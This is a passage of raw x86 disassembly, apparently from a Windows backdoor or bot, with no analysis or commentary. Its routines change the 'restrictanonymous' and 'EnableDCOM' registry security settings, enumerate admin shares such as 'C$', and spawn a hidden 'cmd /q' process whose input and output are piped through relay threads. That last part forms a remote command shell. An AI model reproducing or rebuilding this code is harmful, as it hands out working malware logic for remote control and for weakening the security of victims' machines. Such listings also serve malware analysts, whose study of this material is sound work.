		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416095
		push	offset unk_4335D8
		jmp	short loc_41609A
; ---------------------------------------------------------------------------


loc_416095:				; CODE XREF: sub_415F88+104j
		push	offset unk_433594


loc_41609A:				; CODE XREF: sub_415F88+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4160CD
; ---------------------------------------------------------------------------


loc_4160B3:				; CODE XREF: sub_415F88+E2j
		push	offset unk_433548
		jmp	short loc_4160BF
; ---------------------------------------------------------------------------


loc_4160BA:				; CODE XREF: sub_415F88+13j
		push	offset unk_433508


loc_4160BF:				; CODE XREF: sub_415F88+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4160CD:				; CODE XREF: sub_415F88+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4160EC
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4160EC:				; CODE XREF: sub_415F88+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, edi
		pop	ecx
		jnz	loc_416267
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41610F:				; CODE XREF: sub_415F88+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43ACE4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AC
		cmp	eax, 0EAh
		jz	short loc_4161AC
		mov	esi, offset off_433370


loc_416140:				; CODE XREF: sub_415F88+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416157
		push	offset unk_4334D4
		jmp	short loc_41615C
; ---------------------------------------------------------------------------


loc_416157:				; CODE XREF: sub_415F88+1C6j
		push	offset unk_433498


loc_41615C:				; CODE XREF: sub_415F88+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41618F:				; CODE XREF: sub_415F88+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_433390
		jb	short loc_416140
		jmp	loc_416244
; ---------------------------------------------------------------------------


loc_4161AC:				; CODE XREF: sub_415F88+1AAj
					; sub_415F88+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41623B


loc_4161BB:				; CODE XREF: sub_415F88+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416230
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161EA
		push	offset unk_433464
		jmp	short loc_4161EF
; ---------------------------------------------------------------------------


loc_4161EA:				; CODE XREF: sub_415F88+259j
		push	offset unk_433428


loc_4161EF:				; CODE XREF: sub_415F88+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416223
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416223:				; CODE XREF: sub_415F88+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_416230:				; CODE XREF: sub_415F88+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161BB
		xor	edi, edi


loc_41623B:				; CODE XREF: sub_415F88+22Dj
		push	[ebp+var_8]
		call	dword_43AE28


loc_416244:				; CODE XREF: sub_415F88+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610F
		lea	eax, [ebp+var_214]
		push	offset unk_4333F0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41627A
; ---------------------------------------------------------------------------


loc_416267:				; CODE XREF: sub_415F88+177j
		lea	eax, [ebp+var_214]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41627A:				; CODE XREF: sub_415F88+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416298
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416298:				; CODE XREF: sub_415F88+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AC	proc near		; CODE XREF: sub_415F28:loc_415F6Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43AE68, ebx
		push	esi
		jnz	loc_4163DA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_416337
		mov	ax, word_4338CC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_416319
		push	offset unk_433898
		jmp	short loc_41631E
; ---------------------------------------------------------------------------


loc_416319:				; CODE XREF: sub_4162AC+64j
		push	offset dword_43386C


loc_41631E:				; CODE XREF: sub_4162AC+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_41634A
; ---------------------------------------------------------------------------


loc_416337:				; CODE XREF: sub_4162AC+36j
		lea	eax, [ebp+var_220]
		push	offset unk_433638
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_41634A:				; CODE XREF: sub_4162AC+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416369
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416369:				; CODE XREF: sub_4162AC+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43AE08
		test	eax, eax
		jnz	short loc_4163D3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43ADBC
		test	eax, eax
		jz	short loc_4163B5
		push	offset unk_433820
		jmp	short loc_4163BA
; ---------------------------------------------------------------------------


loc_4163B5:				; CODE XREF: sub_4162AC+100j
		push	offset unk_4337DC


loc_4163BA:				; CODE XREF: sub_4162AC+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD74
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------


loc_4163D3:				; CODE XREF: sub_4162AC+E2j
		push	offset unk_433790
		jmp	short loc_4163DF
; ---------------------------------------------------------------------------


loc_4163DA:				; CODE XREF: sub_4162AC+13j
		push	offset unk_433508


loc_4163DF:				; CODE XREF: sub_4162AC+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4163ED:				; CODE XREF: sub_4162AC+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640C
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41640C:				; CODE XREF: sub_4162AC+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43AE90, ebx
		pop	ecx
		jnz	loc_416581
		push	edi
		mov	esi, offset off_433370
		mov	edi, 200h


loc_416430:				; CODE XREF: sub_4162AC+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41644B
		push	offset unk_433760
		jmp	short loc_416450
; ---------------------------------------------------------------------------


loc_41644B:				; CODE XREF: sub_4162AC+196j
		push	offset unk_433728


loc_416450:				; CODE XREF: sub_4162AC+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_41647F:				; CODE XREF: sub_4162AC+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_433380
		jb	short loc_416430
		call	near ptr 28005DAh
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416569


loc_4164AA:				; CODE XREF: sub_4162AC+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655E
		cmp	bl, 41h
		jz	loc_41655E
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43ADF8
		cmp	eax, 3
		jnz	short loc_41655E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651C
		push	offset unk_433760
		jmp	short loc_416521
; ---------------------------------------------------------------------------


loc_41651C:				; CODE XREF: sub_4162AC+267j
		push	offset unk_433728


loc_416521:				; CODE XREF: sub_4162AC+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416551
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_416551:				; CODE XREF: sub_4162AC+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_41655E:				; CODE XREF: sub_4162AC+206j
					; sub_4162AC+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164AA


loc_416569:				; CODE XREF: sub_4162AC+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_4336E8
		push	eax
		call	sub_4172B0
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416594
; ---------------------------------------------------------------------------


loc_416581:				; CODE XREF: sub_4162AC+173j
		lea	eax, [ebp+var_220]
		push	offset unk_4333B0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_416594:				; CODE XREF: sub_4162AC+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B2
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h


loc_4165B2:				; CODE XREF: sub_4162AC+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C6	proc near		; CODE XREF: ___:0041562Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416717
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4407FC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416631
		call	near ptr 2670ADCh
		nop
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41666B
; ---------------------------------------------------------------------------


loc_416631:				; CODE XREF: sub_4165C6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41699B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416672
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_433914
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 27F09C7h
		nop


loc_41666B:				; CODE XREF: sub_4165C6+69j
		xor	eax, eax
		jmp	loc_416712
; ---------------------------------------------------------------------------


loc_416672:				; CODE XREF: sub_4165C6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 28007F6h
		sub	eax, ebx
		jz	short loc_4166CC
		dec	eax
		jz	short loc_4166C6
		dec	eax
		jz	short loc_4166B2
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_4338D0
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------


loc_4166B2:				; CODE XREF: sub_4165C6+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------


loc_4166C6:				; CODE XREF: sub_4165C6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166D0
; ---------------------------------------------------------------------------


loc_4166CC:				; CODE XREF: sub_4165C6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4166D0:				; CODE XREF: sub_4165C6+104j
		nop
		call	near ptr 27F09C7h
		push	1
		push	dword ptr [esi+8]
		call	near ptr 27F0BA6h
		nop


loc_4166E1:				; CODE XREF: sub_4165C6+EAj
					; sub_4165C6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43AE30
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax


loc_416712:				; CODE XREF: sub_4165C6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416717	proc near		; CODE XREF: sub_4165C6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416801
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_41677A
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_4339F4
		jmp	short loc_41679A
; ---------------------------------------------------------------------------


loc_41677A:				; CODE XREF: sub_416717+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A2
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_4339A4


loc_41679A:				; CODE XREF: sub_416717+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167D0
; ---------------------------------------------------------------------------


loc_4167A2:				; CODE XREF: sub_416717+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416810
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416805
		push	offset dword_43396C
		call	sub_40BF6D


loc_4167D0:				; CODE XREF: sub_416717+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DC
		push	[ebp+var_4]
		call	edi


loc_4167DC:				; CODE XREF: sub_416717+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E7
		push	[ebp+var_8]
		call	edi


loc_4167E7:				; CODE XREF: sub_416717+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167F0
		push	eax
		call	edi


loc_4167F0:				; CODE XREF: sub_416717+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167FA
		push	eax
		call	edi


loc_4167FA:				; CODE XREF: sub_416717+DEj
		push	esi
		call	sub_417C3B
		pop	ecx


loc_416801:				; CODE XREF: sub_416717+1Dj
		xor	eax, eax
		jmp	short loc_41680B
; ---------------------------------------------------------------------------


loc_416805:				; CODE XREF: sub_416717+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41680B:				; CODE XREF: sub_416717+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416717+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 27A0802h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2780B1Eh
		test	eax, eax
		jz	short loc_4168CC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4407F8[eax], ecx
		call	near ptr 2651922h
		nop
		jmp	short loc_4168E2
; ---------------------------------------------------------------------------


loc_4168CC:				; CODE XREF: sub_416810+9Aj
		nop
		call	near ptr 2670ADCh
		push	eax
		push	offset dword_433A44
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4168E2:				; CODE XREF: sub_416810+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E9	proc near		; DATA XREF: sub_4165C6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_416912:				; CODE XREF: sub_4168E9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41697A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694D


loc_416923:				; CODE XREF: sub_4168E9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693D
		cmp	dl, 0Dh
		jz	short loc_41693D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41693D:				; CODE XREF: sub_4168E9+44j
					; sub_4168E9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416923


loc_41694D:				; CODE XREF: sub_4168E9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_41697A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416912
; ---------------------------------------------------------------------------


loc_41697A:				; CODE XREF: sub_4168E9+2Dj
					; sub_4168E9+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416996
		call	esi
		push	eax
		push	offset dword_433A90
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_416996:				; CODE XREF: sub_4168E9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41699B	proc near		; DATA XREF: sub_4165C6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4169B4:				; CODE XREF: sub_41699B+39j
					; sub_41699B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADB0
		test	eax, eax
		jle	loc_416AB9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D6
		dec	[ebp+var_10]
		jmp	short loc_4169B4
; ---------------------------------------------------------------------------


loc_4169D6:				; CODE XREF: sub_41699B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A99
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A46
		cmp	al, 7Fh
		jz	short loc_416A46
		cmp	al, 3
		jnz	short loc_416A01
		push	ebx
		push	ebx
		call	near ptr 2800902h
		nop
		jmp	short loc_416A6D
; ---------------------------------------------------------------------------


loc_416A01:				; CODE XREF: sub_41699B+5Aj
		cmp	al, 15h
		jnz	short loc_416A23
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A59
; ---------------------------------------------------------------------------


loc_416A23:				; CODE XREF: sub_41699B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A5A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A59
; ---------------------------------------------------------------------------


loc_416A46:				; CODE XREF: sub_41699B+52j
					; sub_41699B+56j
		cmp	esi, ebx
		jbe	short loc_416A70
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_416A59:				; CODE XREF: sub_41699B+86j
					; sub_41699B+A9j
		pop	ecx


loc_416A5A:				; CODE XREF: sub_41699B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43ADE8
		test	eax, eax
		jle	short loc_416AB9


loc_416A6D:				; CODE XREF: sub_41699B+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_416A70:				; CODE XREF: sub_41699B+ADj
		cmp	al, 0Dh
		jnz	loc_4169B4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_416AB9
		xor	esi, esi
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416A99:				; CODE XREF: sub_41699B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AAA
		mov	[ebp+var_C], 1
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416AAA:				; CODE XREF: sub_41699B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B4
; ---------------------------------------------------------------------------


loc_416AB9:				; CODE XREF: sub_41699B+2Bj
					; sub_41699B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41699B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABE	proc near		; CODE XREF: sub_416ADE+Ap
					; sub_416BB6+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
